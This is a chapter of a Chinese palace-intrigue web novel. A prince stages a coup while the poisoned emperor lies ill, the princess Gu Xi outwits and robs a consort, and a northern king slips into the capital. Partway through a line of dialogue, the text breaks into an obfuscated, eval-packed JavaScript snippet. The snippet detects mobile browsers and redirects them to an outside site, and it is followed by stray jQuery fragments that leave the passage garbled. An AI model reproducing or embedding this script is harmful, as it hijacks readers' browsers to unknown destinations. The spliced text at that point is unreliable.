裴征话音刚落,殿外便传来一阵整齐的脚步声,随后有人走进,朝裴征行礼,“殿下,已将宫中内外全部包围。”
太皇太后和顾曦愣住,“李偌。”
李偌是乔胜妻子母家的侄子,任禁军统领。
太皇太后伸手指着裴征,“你这个孽障!乔胜果真与你有勾结?”
“皇祖母,眼下衡表弟病危,他有无子嗣,眼看着大昭岌岌可危,无人继承,我这是在帮忙收拾烂摊子呀,怎么能是孽障呢。”
说罢,他看向顾曦,“望舒,你当真不考虑考虑,与我合作?”
“我父亲若是还在人世,定要一剑杀死你这栽赃火锅之贼。”
“可惜了,你父亲死了,”裴征两手一摊,“虽然你不与我合作,但那些与你父亲交好的将军,心里可都憋着一股气呢,在他们眼中,顾璞也算是为国牺牲了,可是到头来,连个赏赐都没落得,甚至陆明还被弃之不用,我也放出消息,若我即位,第一件事便是追加顾璞封号,所以如今,尽管他们并不助我,但也绝不会出手救养心殿中那无德之人。”
太皇太后重重闭上眼睛,她没有想到,因为自己的猜忌多疑,最后居然会是这个结果。
“至于乔胜,”裴征站起来,“皇祖母莫担心,只要我即位,抚南与安州,便相安无事。”
这句话实在过于奇怪,太皇太后想到什么,颤颤巍巍也站起来,“乔胜,你……难道你与抚南有关系?”
若是一国之君是靠着通敌上位的,那怎么样也会受臣子蔑视,裴征知道自己什么话不该说,“皇祖母,这几日您老人家便好好待在慈宁宫中养病吧,至于望舒,表哥知道你眼下心里受伤,难受得很,定然不想与皇祖母待在一处,既然这样,便回芳华宫中好好歇息吧。”
顾曦的聪明才智出乎他意料,毕竟陆明还能背委以重任,是裴征没有想到的,不然他也不会这么快就出手,定然还要再策反几个顾璞旧友再动手的,一切出手的动机,皆因顾曦,因此,裴征不可能让她再与皇祖母待在一起,避免两人商量了什么计策,毁了自己的路。
顾曦是被押着回到了芳华宫的,整座宫殿前后都被裴征的人围住,她想找救兵都无路可去。
云林宫中,齐太妃拉着月妃的手,“你这次做得好,等征儿继位,定然有你的好处。”
月妃眉眼含笑,只说不敢。
说话间,裴征来了,知道他们母子二人还有事要商议,月妃自觉退下。
走到云林宫外,她兴致大起,转道往芳华宫去。
顾曦没想到在这种时候,自己宫中还能来客,而且会是月妃。
她微微眯着眼睛,如今裴衡中毒卧病在床,自己和皇祖母更是背监禁,半步出不得殿门,她一个妃子,怎么能自在穿梭。
“你是裴征的人?”顾曦问道,话里却几乎是肯定的意味。
月妃微微讶异,“公主还真是聪慧,只可惜,皇上不要你了。”
顾曦目光在她身上划过,而后目光落在她腰间,那里挂着的玉佩正是裴征的象征,看来她应该就是凭借这个才能来去自如的。
顾曦心里顿时有了主意,嘴角微微翘起,眉眼都像是舒展开来,如明月一般令人挪不开眼睛,“是吗?”
这样一副美人如画的模样,月妃差点看愣了,闻言诧异,“什么?”
“如果裴衡心里没有我,那你的封号是如何来的呢?”顾曦双手撑在案上,朝着她的方向倾过去,“裴衡以的我名作你的封号,他与你在一处的时候,你觉得他心底想的是谁?”
“你无耻。”月妃怒然站起。
顾曦也跟着站起来,朝她走过去,靠近,“别生气呀,至少真正得了好处的人是你,不是么?”
手指轻轻勾动,衣袖垂落。
月妃当然知道得了好处的人就是自己,但是一想到自己与裴衡敦伦之时,他嘴里喊着的望舒,心底便怒火不止。
“更何况,”顾曦往后退,“接下来就算是裴征极为,你也能得到好处,难道你还不满足吗?”
月妃听得此言,知道自己的好日子不会断,便仰起头,“那是自然。”
顾曦坐回去,“既然月妃以后过的都是好日子,那我这个不归顺裴征的将死之人,月妃还是少接触的好,本宫累了,不招待您了,请回吧。”
被顾曦下了逐客令,月妃倒也不生气,总之得到好处的确实是自己,于是乐呵呵地便往外走。
只不过还没走出五里地,她便发觉腰间玉佩不见了,急忙让人围着周围找了一圈。
这玉佩是前些日子,自己给裴衡下完大剂量的毒之后,玉太妃才给的,说是裴征完全掌管皇宫还需要一些时日,为了赏赐自己,专门给自己一块玉佩,以便在宫中自如行走,等到裴衡彻底起不来了,她才佩戴在身上,但现在居然不见了。
月妃找寻不见,想到什么,急匆匆回到芳华宫,就看见顾曦揉着额头,一派伤神的模样,抬头看见自己,哼了一声。
“月妃好兴致,这么短的时间,就故地重游了?”
月妃:“我在你这里丢了东西。”
顾曦脸色稍变,“月妃,本宫再怎么样,也是大昭的公主,身份在你之上,这是裴征也改不了的,”她笑,“除非他能立你为后,不过这是不可能的,你如今丢了东西,也敢栽赃在我身上?”
月妃被她怼住,有些心虚,但到底没有离开,只是道:“是与不是,我一搜便知。”
顾曦站起身,脸上全是怒气,“你是打量本宫被监禁在此,才一而再再而三地过来挑衅?怎么,裴衡那样宠幸你,就没有跟你说过,本宫从小就不是任人拿捏的性子?”
说着,不等月妃开口,顾曦又道:“本宫的宫殿,还由不得你来搜,你要搜,让裴征来。”
裴征眼下正忙着处理裴衡的事,要让他“正常”地病死,自然还不能太心急,月妃如若此时因为此事去请他,必定会被他无视,更何况,她也曾从玉太妃处听闻,裴征对于顾曦,是有一些心思的。
想到这,月妃也动了怒,但到底不甘示弱,“你以为我不敢?”
顾曦反倒一笑,说:“月妃,你有没有想过,等裴衡死了,你会怎么办?”
月妃一愣,“自然是……”
“自然是拿到好处,由裴征立你为妃,继续享受高屋大殿的生活?”顾曦嗤笑一声,“谋害皇上,继而即位的,皇位便是来路不正,若是裴征今日所为被朝臣知晓,你觉得他的皇位能坐几日,更何况,皇后的父亲王守润,便是百官之首,只要他对裴征发起征讨,你觉得裴征真的能坐得稳?”
顾曦:“裴衡中毒这事,是你干的,只要裴征一句‘月妃有意谋害皇上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586355|161091||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”便可将你钉死,你觉得,你真能逃脱?”
月妃吓了一跳,便听得顾曦继续说道:“但你若是想在此时救回裴衡,你以为等他醒后,会无法猜出,毒是你吓的?”
瓷白的小脸上是高高在上的笑,“都是宫墙深似海,你怎么那么傻呢?有空来我这里作威作福,还不如趁此机会捞些金银,逃出宫吧。”
月妃回去之后会怎么做,这不是顾曦要想的内容,她心中想着,裴征说了,与父亲交好的那些叔伯并未表态与他合作,那么如果由自己出面,必能请他们前来救驾,只是如今到底该怎么出宫去呢?
她将那块玉佩藏在身上,好看的眉毛蹙起。
塞勒赫带着由固一众亲信,早早进了大昭境内,进入翎京城。
“不是,你既然想要与大昭联姻,就应该等文书到了大昭皇帝手中,才可光明正大地过来,你如今偷摸着进入大昭境内,这是做什么?”
塞勒赫却像是自言自语般说道:“期限快到了。”
“什么期限?”由固听到了,不解。
塞勒赫没接他的问题,只是道:“让你派去安州的人,怎么样了?”
“放心吧,快马加鞭的,也该到了,”由固道,“只是,大昭跟抚南的纠葛,我们余北为何理会?”
自从塞勒赫登上王位,除了着人收服乌硕部落之外,那便是派了人偷偷赶往大昭安州,监视其中情况,这一监视,才知道大昭内部竟有通敌叛国之辈,如今镇守安州的乔胜,竟与抚南有联系,甚至与抚南勾结,以抚南多次进攻却被乔胜打退一事,才增强其在大昭朝廷上的威信,而近日,更是查到那安州另一将领,石目,已被乔胜控制。
这一路上,由固做过多次猜想,如今才稍稍有了思路,他问完一句,又问:“话说,你前后两年变化如此之大,如今更是亲自潜入大昭,不会就是为了联姻一事吧?或者是说,联姻之人,你早有打算?”
塞勒赫转头,看来他一眼,“看来你这几年并不只是在学武,脑子也还不错。”
幼时就能想到假死来骗过胡日查以便自己潜伏,眼下又能猜中塞勒赫心事。
由固来了劲,“所以,朝格仓那小娃说的是真的,你真的有意大昭公主。”
塞勒赫回余北的谋划,少不了朝格仓在其中的帮忙,是以塞勒赫即位之后,朝格仓没少往王宫里跑,一来二去,也不知道怎么就跟由固搭上话了,只是塞勒赫不知道,他居然还把这事跟由固说了。
由固见塞勒赫没反驳,顿时就知道这是真的了,兴致冲冲,“朝格仓可说了,那公主可谓赛若天仙,他看见了都喊作……那句大昭话怎么说来着?”
由固一时想不起来,就听得塞勒赫笑了下,道:“美人姐姐。”
“对对对,就是这个,”由固说着,“不过我可听说,大昭一共就两位公主,且都已有婚约,你心怡的这位,也是吧,难不成你要抢婚?”
塞勒赫不语,只是脸色一下子就黑了。
由固见状,更想要逗他,但却忽然听见前面传来一阵吵闹,两人抬头看去,就见一个女子被官兵抓住。
旁边的塞勒赫整个人绷了起来,由固看去,就见他双眼入如炬,死死地盯着眼前,似乎下一刻就要抄刀上前,但不知道为何,又忍住了,只有看见他死死握住缰绳的手,才能看出来他此时的忍耐。